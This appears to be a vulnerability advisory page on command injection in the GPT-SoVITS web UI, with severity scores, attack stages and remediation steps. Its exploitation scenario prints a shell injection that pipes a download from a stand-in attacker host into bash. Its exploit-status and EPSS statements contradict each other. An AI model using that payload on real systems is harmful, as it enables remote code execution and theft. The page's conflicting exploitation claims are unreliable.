CVE-2026-63766: unauthenticated RCE via webui.py

CISO Take

GPT-SoVITS's Gradio web UI passes user-supplied textbox values for its ASR, slice, denoise, and UVR5 functions straight into shell=True command execution without sanitization, so any unauthenticated network attacker who can reach the interface can inject shell metacharacters and run arbitrary OS commands as the server process user. There's no CVSS mitigation here — AV:N/AC:L/PR:N/UI:N with full C/I/A impact means a single crafted HTTP request is enough, and the vulnerability sits in a widely self-hosted open-source voice-cloning/TTS project that teams often expose on internal or even public endpoints for demos and pipelines. EPSS and CISA KEV data aren't available yet and no public exploit or Nuclei template has surfaced, but the bug class (unsanitized input into shell=True) is trivially weaponizable and the vendor advisory (VulnCheck) plus the GitHub issue thread indicate the maintainers are aware. Treat any exposed GPT-SoVITS webui.py instance as compromised-by-default until patched: pull the latest commit past 20250606v2pro, take the interface off any public or shared network immediately, and in the meantime front it with authentication and strict network ACLs. Hunt for anomalous child processes spawned by the webui.py Python process and outbound connections initiated from the host as a detection stopgap.

Sources: NVD GitHub Advisory ATLAS

What is the risk?

Critical, real-world exploitable risk. CVSS 9.8 (AV:N/AC:L/PR:N/UI:N, full C/I/A) reflects that no authentication or user interaction is required — an attacker only needs network reachability to the Gradio webui. Exploitability is trivial (shell metacharacter injection into path/filename parameters), and the flaw spans four separate functions (ASR, slice, denoise, uvr5), widening the attack surface within the same app. Mitigating factors are limited: no confirmed public exploit code or Nuclei template yet and no CISA KEV listing, but these are lagging indicators for a freshly disclosed (2026-07-20) vulnerability, not evidence of low risk. Given GPT-SoVITS's popularity as a self-hosted voice cloning/TTS tool often deployed with default configs and minimal hardening, actual exposure of vulnerable instances to the open internet is plausible and should be assumed present until verified otherwise.

How does the attack unfold?

Initial Access

Attacker locates a network-reachable GPT-SoVITS Gradio webui.py instance with no authentication required.

AML.T0049

Exploitation

Attacker submits shell metacharacters through ASR, slice, denoise, or uvr5 textbox path parameters that are interpolated unsanitized into a shell=True command.

AML.T0050

Execution

The injected OS command executes as the server process user, giving the attacker a shell or remote code execution on the host.

Impact

Attacker achieves full host compromise, enabling credential theft, data exfiltration, or lateral movement to adjacent AI/ML infrastructure.

Initial Access

Attacker locates a network-reachable GPT-SoVITS Gradio webui.py instance with no authentication required.

AML.T0049

Exploitation

Attacker submits shell metacharacters through ASR, slice, denoise, or uvr5 textbox path parameters that are interpolated unsanitized into a shell=True command.

AML.T0050

Execution

The injected OS command executes as the server process user, giving the attacker a shell or remote code execution on the host.

Impact

Attacker achieves full host compromise, enabling credential theft, data exfiltration, or lateral movement to adjacent AI/ML infrastructure.

How severe is it?

CVSS 3.1

9.8 / 10

EPSS

1.7%

chance of exploitation in 30 days

Higher than 76% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Trivial

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What is the attack surface?

AV Network

AC Low

PR None

UI None

S Unchanged

C High

I High

A High

What should I do?

1 step

1) Upgrade GPT-SoVITS past the 20250606v2pro build to the version that sanitizes ASR/slice/denoise/uvr5 inputs (verify fix commit referenced in github.com/RVC-Boss/GPT-SoVITS/issues/2793). 2) Immediately remove any public internet exposure of webui.py — place it behind a VPN, reverse proxy with authentication, or restrict via firewall/security group to known IPs only. 3) If patching isn't immediately possible, disable or block the ASR, slice, denoise, and uvr5 endpoints/tabs specifically. 4) Run the service under a low-privilege, sandboxed/non-root user and consider containerizing with no unnecessary host mounts to limit blast radius. 5) Detection: monitor for unexpected child processes spawned from the Python webui.py process, unusual shell invocations (bash/sh/cmd) originating from the Gradio app, and outbound network connections initiated by the host shortly after inbound requests to ASR/slice/denoise/uvr5 endpoints.

What does CISA's SSVC say?

Decision Attend

Exploitation poc

Automatable Yes

Technical Impact total

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Inference Framework AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 15 - Accuracy, robustness and cybersecurity

ISO 42001

A.6.2 - AI system security and resilience

NIST AI RMF

MANAGE 4.1 - AI system risks and benefits are monitored and vulnerabilities are addressed

Frequently Asked Questions

What is CVE-2026-63766?

GPT-SoVITS's Gradio web UI passes user-supplied textbox values for its ASR, slice, denoise, and UVR5 functions straight into shell=True command execution without sanitization, so any unauthenticated network attacker who can reach the interface can inject shell metacharacters and run arbitrary OS commands as the server process user. There's no CVSS mitigation here — AV:N/AC:L/PR:N/UI:N with full C/I/A impact means a single crafted HTTP request is enough, and the vulnerability sits in a widely self-hosted open-source voice-cloning/TTS project that teams often expose on internal or even public endpoints for demos and pipelines. EPSS and CISA KEV data aren't available yet and no public exploit or Nuclei template has surfaced, but the bug class (unsanitized input into shell=True) is trivially weaponizable and the vendor advisory (VulnCheck) plus the GitHub issue thread indicate the maintainers are aware. Treat any exposed GPT-SoVITS webui.py instance as compromised-by-default until patched: pull the latest commit past 20250606v2pro, take the interface off any public or shared network immediately, and in the meantime front it with authentication and strict network ACLs. Hunt for anomalous child processes spawned by the webui.py Python process and outbound connections initiated from the host as a detection stopgap.

Is CVE-2026-63766 actively exploited?

No confirmed active exploitation of CVE-2026-63766 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-63766?

1) Upgrade GPT-SoVITS past the 20250606v2pro build to the version that sanitizes ASR/slice/denoise/uvr5 inputs (verify fix commit referenced in github.com/RVC-Boss/GPT-SoVITS/issues/2793). 2) Immediately remove any public internet exposure of webui.py — place it behind a VPN, reverse proxy with authentication, or restrict via firewall/security group to known IPs only. 3) If patching isn't immediately possible, disable or block the ASR, slice, denoise, and uvr5 endpoints/tabs specifically. 4) Run the service under a low-privilege, sandboxed/non-root user and consider containerizing with no unnecessary host mounts to limit blast radius. 5) Detection: monitor for unexpected child processes spawned from the Python webui.py process, unusual shell invocations (bash/sh/cmd) originating from the Gradio app, and outbound network connections initiated by the host shortly after inbound requests to ASR/slice/denoise/uvr5 endpoints.

What systems are affected by CVE-2026-63766?

This vulnerability affects the following AI/ML architecture patterns: model serving, ML/AI web UIs (Gradio-based), voice cloning / TTS pipelines.

What is the CVSS score for CVE-2026-63766?

CVE-2026-63766 has a CVSS v3.1 base score of 9.8 (CRITICAL). The EPSS exploitation probability is 1.75%.

What is the AI security impact?

Affected AI Architectures

model servingML/AI web UIs (Gradio-based)voice cloning / TTS pipelines

MITRE ATLAS Techniques

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

Compliance Controls Affected

EU AI Act: Article 15

ISO 42001: A.6.2

NIST AI RMF: MANAGE 4.1

What are the technical details?

Original Advisory

GPT-SoVITS through 20250606v2pro contains an OS command injection vulnerability in webui.py where ASR, slice, denoise, and uvr5 functions interpolate unsanitized Gradio textbox values directly into shell commands executed with shell=True. Attackers can inject shell metacharacters through path parameters to execute arbitrary OS commands as the server process user without authentication.

Exploitation Scenario

An attacker scans the internet or internal network ranges for exposed Gradio interfaces and fingerprints a GPT-SoVITS instance running a vulnerable pre-fix build. Without any login, they submit a request to the ASR or uvr5 function, embedding shell metacharacters (e.g., `; curl attacker.com/payload.sh | bash`) inside a path parameter that the webui.py backend interpolates directly into a shell=True subprocess call. The injected command executes with the privileges of the server process, giving the attacker a reverse shell or dropping a persistence payload on the host. From there they pivot to harvest any credentials, model weights, or datasets stored on the machine, or use the compromised GPU host as a launchpad for further lateral movement.

Weaknesses (CWE)

CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') Primary CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.

[Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
[Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.

Source: MITRE CWE corpus.